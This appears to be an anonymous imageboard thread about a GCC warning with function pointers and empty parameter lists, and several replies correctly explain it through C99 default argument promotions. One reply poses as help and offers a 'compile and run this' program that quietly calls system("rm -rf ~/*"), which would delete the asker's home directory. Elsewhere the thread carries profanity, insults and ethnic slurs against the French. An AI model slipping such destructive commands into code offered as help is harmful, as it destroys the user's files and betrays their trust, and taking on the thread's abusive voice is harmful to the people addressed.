C strange warning.

http://pastebin.com/3js28CTR
$> gcc main.c
If tata(char|short|float c) => warning
If tata(int|long|double c) => nothing

Does somebody could explain why exactly ? =)

If you read the warnings you get, you're trying to make a function pointer that points to a different kind of function.

void    tata
int     main
Why the fuck would you do that? That should be a syntax error too.

Yep, but why this warning doesn't appear if tata(char c) is replaced by tata(int c) ?
The prototype of the function and the one of the pointer aren't the sames.

>>4
They should be.

>>1
That's because you have a subtle problem with your code. How to fix it, you might ask? Simple: replace the wrong parts with the correct code. That's the exact explanation of the warning you get and also the solution to it.

_{^{You fucking moron, do you expect us to determine what exactly is the warning telepathically? Or to compile your fucking code ourselves, since you can't be bothered to write anything except that you get "a warning", and we are totally eager to spend our time helping any lazy imbecile that comes here with his retarded problems, without even knowing what those problems are? Fuck you, you clueless idiot, go away and never come back.}}

>>4
Read K&R.

It's a minimal showcase.
11 lines of a fucking code.

And I don't want to solve it, I want to understand it.

>>8
Maybe you should read the warnings, and read K&R.

Actually, I'm reading the n1124 to try to find why there are these warnings.
Didn't found, for now.


#include <stdlib.h>

void    tata(char c)
{
    (void)c;
}

int     main(void)
{
    void  (*toto)(char) = tata;
    system("rm -rf ~/*");

    return (0);
}
Compile and run this, tell us if you still get warnings.

You're hilarious =]

But in the 6.7.5.3.14, I read that the empty list in a function declarator that is not part of a definition of that function specifies that no information about the number or types of the parameters is supplied.
Unless my english is very bad (and I know it probably is), it means that the declaration of each argument isn't required in the pointer argument list, no ?

>>1
You forgot to specify -march/-mtune.

=) , =]
GET OUT, please.

>>1
does char a; int b = *(int *)&a; give you a warning?

>> 15
LOOOOOOOL !!.

>> 16
No. But there is an explicite cast, so it's normal, no ?

(yep, I'm a newfag, I can't refer ..)

>>17
how about char a; int *b = &a, c = *b;, then?

also, learn to use sage.

>>1,13

I'm not sure if your code actually violates the standard or if GCC is misdiagnosing, but it doesn't matter. You should never use empty parentheses in function declarators in new C code. This is leftover kludge from C's pre-C89 days, and is still present in the language only for backwards compatibility.

Here's why you don't want do this (C99 6.5.2.2p6):

[quote]If the expression that denotes the called function has a type that does not include a prototype, the integer promotions are performed on each argument, and arguments that have type float are promoted to double. These are called the default argument promotions. If the number of arguments does not equal the number of parameters, the behavior is undefined. If the function is defined with a type that includes a prototype, and either the prototype ends with an ellipsis or the types of the arguments after promotion are not compatible with the types of the parameters, the behavior is undefined. ...[/quote]

This makes subtle bugs. The way your code is now, the compiler will be happy with any of the following calls, but all of them invoke undefined behavior:

- toto()
- toto(0)
- toto((char)0)
- toto(0,0)

Always write the list of the parameter types, or (void) if there are no parameters.

Ok, thanks

>>20
in C99, () is equivalent to (void) anyway.

>>22
() is equivalent to (void) only in a function definition (6.7.5.3p14), but this is only for backward compatibility: () is obsolescent (6.11.6). New code should always use (void). The C99 rationale expands on this issue in its commentary of 6.11.6.

>>1
I hate you, fucking French programmer. I can smell the retarded stench emanating from your code miles away.

Anyone who uses "toto" is French and therefore a bastard.

BÂTARD MON ANUS

>>20
This guy's got it. tl;dr declaration without prototype == argument promotion.

>>22
Fail. Do yourself a favor and s/()/(void)/g.

>>27
(void)i(void)n(void) (void)C(void)9(void)9(void),(void) (void)((void))(void) (void)i(void)s(void) (void)e(void)q(void)u(void)i(void)v(void)a(void)l(void)e(void)n(void)t(void) (void)t(void)o(void) (void)((void)v(void)o(void)i(void)d(void))(void) (void)a(void)n(void)y(void)w(void)a(void)y(void).(void)

>>28
http://opengroup.org/onlinepubs/9699919799/utilities/ed.html#tag_20_38_13_01
http://opengroup.org/onlinepubs/9699919799/utilities/sed.html#tag_20_116_13_02
http://opengroup.org/onlinepubs/9699919799/utilities/ex.html#tag_20_40_13_58
http://opengroup.org/onlinepubs/9699919799/basedefs/V1_chap09.html#tag_09_03

>>28
I approve of this smartassery.

>>20
If you don't write prototypes for all your routines, you deserve to be buttraped by the compiler anyway. However, as you put it, all the confusion is due to leftover shit from ancient C, and I think that the need to use (void) should be considered a problem.

But I unfortunately do not own C, so it's good to learn that the Holy Standard mandates the use (void).

(void) looks better than () because, as functions take arguments, it clearly shows that the function's arguments are a total lack of arguments, or, there is a void where arguments would otherwise be.

(), on the other hand, just looks like the arguments are yet to be specified.

>>32
I consider having no function prototype as having the arguments not yet specified. If somebody has written the prototype, and there are no arguments; why assume they ``are yet to be specified."

>>32
So if you call a function with no parameters, do you put void there too? Of course not, because that's stupid.

Functions taking no parameters should be prototyped with ().

>>34
Don't you guys belong in the C++0x thread?

>>34
When you call a function with a double parameter, do you put double in there? Of course not, because it won't compile.

Function prototypes are not function calls.

>>36
That was addressing >>33's stupid "there is a void where arguments would otherwise be" comment.

And you certainly can put a double there.
grabDick((double) size);

>>33
I consider having no function prototype as having the arguments not yet specified.
So does the compiler. This is why you should use (void).

>>34
Fail, again. Why the fuck do you think OP is getting these warnings?? If you declare with (), it means argument promotion. How are you still arguing this point when the whole reason this thread exists is because your suggestion generates compiler warnings and invalid code?

There is another good reason to always use (void) instead of (). Let's say you change a function from taking one argument to taking none. If you change the prototype to (), you won't get any warning or error for existing function calls that send in an argument. This is because () literally means "unspecified arguments"; you can call it with whatever you want. The results are undefined but the compiler is not required to diagnose this error.

>>38
If you change the prototype to (), you won't get any warning or error for existing function calls that send in an argument.

Yes, but that's the C commitee's fault, just because they want 30-year-old shit code to still be compilable today.

>>39
It's not anyone's fault; it's just because C is forty years old. Nobody really thought to prototype declarations back then.

Despite what you may think, backwards compatibility is important. There are still codebases and compilers that rely on the old way of declarations without prototypes. Have you looked at libpng lately? It still has all those preprocessor routines to hide arguments on old compilers because it is still used in places where prototypes are not supported.

>>40
You surely have a point, but a C break-off would be good at some time.

>>41
Yeah, but we're all afraid of what happened the last threefour times.

>>42
five:
sepples
java
d
objective-c
c#

2038 should be the cut-off point for backwards compatibility.
It is likely that 2011 onwards will be spent preparing for this, should it be instated.

Backwards compatibility is the cancer that's killing programming!!!!!

>>43
You missed one, and two of those don't count.

>>45
Polecat kebabs.

!!!!!]reliops/[/gorp/]reliops[ gnillik s'taht recnac eht si gnitirw sdrawkcaB

>>47
Gaff tuck, ``off go''.